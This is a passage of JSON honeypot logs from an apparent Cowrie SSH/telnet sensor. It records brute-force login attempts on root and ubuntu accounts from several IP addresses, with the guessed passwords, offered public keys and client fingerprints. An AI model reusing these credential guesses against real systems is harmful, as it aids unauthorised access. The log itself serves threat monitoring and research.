roup14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:21:55.182513Z","src_ip":"94.230.136.33","session":"02f39315fffb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"C@vid19","message":"login attempt [root/C@vid19] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:21:55.818388Z","src_ip":"94.230.136.33","session":"02f39315fffb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:21:56.971813Z","src_ip":"94.230.136.33","session":"02f39315fffb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.42.231.160","src_port":26690,"dst_ip":"10.17.0.5","dst_port":22,"session":"bc790dc5e28f","protocol":"ssh","message":"New connection: 89.42.231.160:26690 (10.17.0.5:22) [session: bc790dc5e28f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:21:58.741637Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:21:58.746048Z","src_ip":"89.42.231.160","session":"bc790dc5e28f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:21:58.835582Z","src_ip":"89.42.231.160","session":"bc790dc5e28f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b0:99:68:3c:ca:58:4e:2c:45:ab:48:c5:1e:33:b6:b0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCGSKT+sfdvcKgkZjAXdo/bgdL2ujEBVTOpILXZNz6HzrdhSIeXA8DeIK/G9/AoMuiDbyRLfyaHq/cRTpUtHK4B7q/ZaHPjdBVJPGCKnLnkXksKbc0TtcS08MDhqA9X5dcM/WZ95bithOq6hvHFmFOAbdXdoC5Pi4JojS4RytBkvH2z9fKdh9CaWX3lDKBLFOnySbldsdxIFmPpt3+i2kmGg4HEZweuKb0AHzPGKHv7j9VJvgKND4QinPl82MbZd4x4cGnpX/29pBZ+wGYnxH0Jyrqg3FmyNtgXCjUy3sfCRL837Jyz0rG9Gu0tQ0AX/GnyESpAKZNo1IQZ8UFH+ed3","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b0:99:68:3c:ca:58:4e:2c:45:ab:48:c5:1e:33:b6:b0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:21:59.259201Z","src_ip":"89.42.231.160","session":"bc790dc5e28f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b0:99:68:3c:ca:58:4e:2c:45:ab:48:c5:1e:33:b6:b0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCGSKT+sfdvcKgkZjAXdo/bgdL2ujEBVTOpILXZNz6HzrdhSIeXA8DeIK/G9/AoMuiDbyRLfyaHq/cRTpUtHK4B7q/ZaHPjdBVJPGCKnLnkXksKbc0TtcS08MDhqA9X5dcM/WZ95bithOq6hvHFmFOAbdXdoC5Pi4JojS4RytBkvH2z9fKdh9CaWX3lDKBLFOnySbldsdxIFmPpt3+i2kmGg4HEZweuKb0AHzPGKHv7j9VJvgKND4QinPl82MbZd4x4cGnpX/29pBZ+wGYnxH0Jyrqg3FmyNtgXCjUy3sfCRL837Jyz0rG9Gu0tQ0AX/GnyESpAKZNo1IQZ8UFH+ed3","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:21:59.262641Z","src_ip":"89.42.231.160","session":"bc790dc5e28f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"12:6a:81:fd:c1:58:1b:8e:bf:df:fd:67:a5:f8:07:df","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKKM9krRZoVglk3xWejb7bRC/bYEeYpUV5pkaisEOQ8daEtNuu5oq29WtIfLW082YQx3wfr6l/uCm3zbjrokyQzfZyN4asFo8JKzCS+3fnb/e5k4op+1OWjmKeOWFBrKQ5mTVyGj+K3Kii5OFj4K2Sel5JOeWrR7G49fLaXbKL9JOB3UdFOgTWgyqRj+zt6yPk1FFV7kw2vVxDF8jvd3HDbFnUcnlGPfRsHnab4K9y7dxaiauyt0KTyvcqj3rhktDZMaNT3Zy0vDjEmFweepoXXWmCwGPxS1/8P7loVDpwgSA0gkgZQfqcHRCUw0SDj0H5/HGH9zMAvip0jCWIHdup","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 12:6a:81:fd:c1:58:1b:8e:bf:df:fd:67:a5:f8:07:df","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:21:59.355868Z","src_ip":"89.42.231.160","session":"bc790dc5e28f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"12:6a:81:fd:c1:58:1b:8e:bf:df:fd:67:a5:f8:07:df","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKKM9krRZoVglk3xWejb7bRC/bYEeYpUV5pkaisEOQ8daEtNuu5oq29WtIfLW082YQx3wfr6l/uCm3zbjrokyQzfZyN4asFo8JKzCS+3fnb/e5k4op+1OWjmKeOWFBrKQ5mTVyGj+K3Kii5OFj4K2Sel5JOeWrR7G49fLaXbKL9JOB3UdFOgTWgyqRj+zt6yPk1FFV7kw2vVxDF8jvd3HDbFnUcnlGPfRsHnab4K9y7dxaiauyt0KTyvcqj3rhktDZMaNT3Zy0vDjEmFweepoXXWmCwGPxS1/8P7loVDpwgSA0gkgZQfqcHRCUw0SDj0H5/HGH9zMAvip0jCWIHdup","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:21:59.360415Z","src_ip":"89.42.231.160","session":"bc790dc5e28f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1c:70:39:af:73:87:2b:3c:ac:9c:b6:1f:e0:bb:6c:12","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDTnIqms6QXgRDLZvPs1YJk7DrrSyNDomlkdBMFxEESHPq85lO0CWflzwxBok3a1noix7UKC6SA5YgNoXm883xyyezTXOHrg5nY7e0bB/TRW+QEcQOAlbELFpfiIZ72zOcEnvQYIM8ZmAykO15xBhU6Vq7C7gi5hR1fbM35vGEcO37XJGXz2tflvmEEF4ltiTRwpqNbEXjVCykl85U/AqKmBse6Djc9S3NAEagbU3VOAnm/tRsC4Olx67fx1feCiruH+j1wHjgyC6AxStbtPfZ7NZ1XOsO8neTE2ymEJTP3Qg3tW1/CRaHUV6ifxpXxyLwDJAtgSpvvwZBpj4Qq0ddR","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1c:70:39:af:73:87:2b:3c:ac:9c:b6:1f:e0:bb:6c:12","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:21:59.451735Z","src_ip":"89.42.231.160","session":"bc790dc5e28f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1c:70:39:af:73:87:2b:3c:ac:9c:b6:1f:e0:bb:6c:12","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDTnIqms6QXgRDLZvPs1YJk7DrrSyNDomlkdBMFxEESHPq85lO0CWflzwxBok3a1noix7UKC6SA5YgNoXm883xyyezTXOHrg5nY7e0bB/TRW+QEcQOAlbELFpfiIZ72zOcEnvQYIM8ZmAykO15xBhU6Vq7C7gi5hR1fbM35vGEcO37XJGXz2tflvmEEF4ltiTRwpqNbEXjVCykl85U/AqKmBse6Djc9S3NAEagbU3VOAnm/tRsC4Olx67fx1feCiruH+j1wHjgyC6AxStbtPfZ7NZ1XOsO8neTE2ymEJTP3Qg3tW1/CRaHUV6ifxpXxyLwDJAtgSpvvwZBpj4Qq0ddR","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:21:59.454953Z","src_ip":"89.42.231.160","session":"bc790dc5e28f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":110.93640041351318,"message":"Connection lost after 110 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:21:59.460812Z","src_ip":"152.42.224.71","session":"5caf59944f99","protocol":"telnet"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"39:63:a9:15:46:85:0e:01:ad:71:b2:3b:17:ef:e9:6e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDNMJQHb2HapwYOgJp8vxl/PMeGsSeJIASFP4J04hlbojydb7DlpCs41rT1D9WICRe+fKe4b+BR5fibWYicc69oe44I7ZnjSeWaSyt6yRulJuynPuqB1trKrVuQ9UII3vjozdFHTrkzylVgCxWvAuW+RoGG6p+8u4p7OV6f5377bOPdNSG4YZMsYdwWsgO8mGoQoD2UMbq3wRRdU1yfg/aHdA1a4WYgKoPPnWXiY2EQNDYTasITS1ulvSsoJnoH0f3jE/67m2/GDid12kAuLJTXxtw2ZfGmztWWmmYjm9t5D2kaCQyVFZcb/Bry1WxmQyCbghw0krbsvqTfo3GjNuwRfl2dIHxAOQeMhZQbkzkZBZJECXsNzatHwpxXbg0YLAdHxme7FH55Y/URJU+BXqLB5FW8uHG84mJMqeuqWH3ikvu5WWKp8OdF5da6Zbkoam/kcDfLEXMYDclAfZaiO/CxmKnJThcBraYmTlJqzRQKnkKHHYLmeDoX71konGBvnQc=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 39:63:a9:15:46:85:0e:01:ad:71:b2:3b:17:ef:e9:6e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:21:59.543683Z","src_ip":"89.42.231.160","session":"bc790dc5e28f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"39:63:a9:15:46:85:0e:01:ad:71:b2:3b:17:ef:e9:6e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDNMJQHb2HapwYOgJp8vxl/PMeGsSeJIASFP4J04hlbojydb7DlpCs41rT1D9WICRe+fKe4b+BR5fibWYicc69oe44I7ZnjSeWaSyt6yRulJuynPuqB1trKrVuQ9UII3vjozdFHTrkzylVgCxWvAuW+RoGG6p+8u4p7OV6f5377bOPdNSG4YZMsYdwWsgO8mGoQoD2UMbq3wRRdU1yfg/aHdA1a4WYgKoPPnWXiY2EQNDYTasITS1ulvSsoJnoH0f3jE/67m2/GDid12kAuLJTXxtw2ZfGmztWWmmYjm9t5D2kaCQyVFZcb/Bry1WxmQyCbghw0krbsvqTfo3GjNuwRfl2dIHxAOQeMhZQbkzkZBZJECXsNzatHwpxXbg0YLAdHxme7FH55Y/URJU+BXqLB5FW8uHG84mJMqeuqWH3ikvu5WWKp8OdF5da6Zbkoam/kcDfLEXMYDclAfZaiO/CxmKnJThcBraYmTlJqzRQKnkKHHYLmeDoX71konGBvnQc=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:21:59.546446Z","src_ip":"89.42.231.160","session":"bc790dc5e28f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"82:bb:46:55:88:37:32:b8:26:ab:31:42:18:7a:51:18","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDPJL3+Rnp6QekieI3mBysZHOE3hqtLCYXpWfkaLme12EFYtlcPcXEEFCfYXmK43AMTiSin7eU8wKjtApP83cu8g4DTCYnkW7Qc3DnFJwcwUpD77JvjOS3mnZpAzCfQA6KbOkGeFR3uihGmfJi/6qpHfUFzHEbli46uFZJLfGv9wQn+Z5XeijzYQViwojQHKcCj3KmGd8/DO9KEzopzEKEzNLFbrS4/awZ0z1AB6urDBpoQaSN0EOPdxzdG2WIRmfq5cRg2TMQjCxz/OobgK3TPN24V1zKRnr8ausJ8MC33FRHTa7+snXCWPruXWj4kZHnuwXLbZ/lISOU/GGVNQ0wrQZJT5YYEDR1KiLAFHssEfnPrMG/5zlX9ncYu6D4ALrl3M+gOCY7wuKXO6lLSLSFFUFoI8/w/UEURhocun024UPmVvR6oX0a20vCtkWUIJjuNiELmLMCe/rm5F608UFLa0SHfNXW4dSIEFyt+IH+usV+xGbTlJ8aGi5goiKtw1UE=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 82:bb:46:55:88:37:32:b8:26:ab:31:42:18:7a:51:18","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:21:59.636636Z","src_ip":"89.42.231.160","session":"bc790dc5e28f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"82:bb:46:55:88:37:32:b8:26:ab:31:42:18:7a:51:18","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDPJL3+Rnp6QekieI3mBysZHOE3hqtLCYXpWfkaLme12EFYtlcPcXEEFCfYXmK43AMTiSin7eU8wKjtApP83cu8g4DTCYnkW7Qc3DnFJwcwUpD77JvjOS3mnZpAzCfQA6KbOkGeFR3uihGmfJi/6qpHfUFzHEbli46uFZJLfGv9wQn+Z5XeijzYQViwojQHKcCj3KmGd8/DO9KEzopzEKEzNLFbrS4/awZ0z1AB6urDBpoQaSN0EOPdxzdG2WIRmfq5cRg2TMQjCxz/OobgK3TPN24V1zKRnr8ausJ8MC33FRHTa7+snXCWPruXWj4kZHnuwXLbZ/lISOU/GGVNQ0wrQZJT5YYEDR1KiLAFHssEfnPrMG/5zlX9ncYu6D4ALrl3M+gOCY7wuKXO6lLSLSFFUFoI8/w/UEURhocun024UPmVvR6oX0a20vCtkWUIJjuNiELmLMCe/rm5F608UFLa0SHfNXW4dSIEFyt+IH+usV+xGbTlJ8aGi5goiKtw1UE=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:21:59.640545Z","src_ip":"89.42.231.160","session":"bc790dc5e28f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:21:59.730629Z","src_ip":"89.42.231.160","session":"bc790dc5e28f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":33148,"dst_ip":"10.17.0.5","dst_port":22,"session":"b019be0e0ed5","protocol":"ssh","message":"New connection: 89.108.118.91:33148 (10.17.0.5:22) [session: b019be0e0ed5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:21:59.931103Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:21:59.935819Z","src_ip":"89.108.118.91","session":"b019be0e0ed5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0016736984253,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:21:59.968931Z","src_ip":"152.42.224.71","session":"f29bae2d9c3d","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:22:00.072794Z","src_ip":"89.108.118.91","session":"b019be0e0ed5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dreams","message":"login attempt [root/dreams] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:22:00.484285Z","src_ip":"89.108.118.91","session":"b019be0e0ed5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":57558,"dst_ip":"159.203.135.109","dst_port":22,"session":"c19360caf4dd","protocol":"ssh","message":"New connection: 31.40.204.166:57558 (159.203.135.109:22) [session: c19360caf4dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:22:00.720927Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:22:00.725593Z","src_ip":"31.40.204.166","session":"c19360caf4dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:22:00.892871Z","src_ip":"31.40.204.166","session":"c19360caf4dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwe123","message":"login attempt [ubuntu/qwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:22:01.510739Z","src_ip":"31.40.204.166","session":"c19360caf4dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:22:01.623693Z","src_ip":"89.108.118.91","session":"b019be0e0ed5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:22:02.717308Z","src_ip":"31.40.204.166","session":"c19360caf4dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.663952350616455,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:22:08.658693Z","src_ip":"152.42.224.71","session":"865fdab0fc67","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.227.3","src_port":59946,"dst_ip":"159.203.135.109","dst_port":22,"session":"6d80606b9a5e","protocol":"ssh","message":"New connection: 43.156.227.3:59946 (159.203.135.109:22) [session: 6d80606b9a5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:22:10.588431Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:22:10.593150Z","src_ip":"43.156.227.3","session":"6d80606b9a5e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:22:10.831885Z","src_ip":"43.156.227.3","session":"6d80606b9a5e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kuai","message":"login attempt [root/kuai] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:22:11.816133Z","src_ip":"43.156.227.3","session":"6d80606b9a5e","protocol":"ssh"}
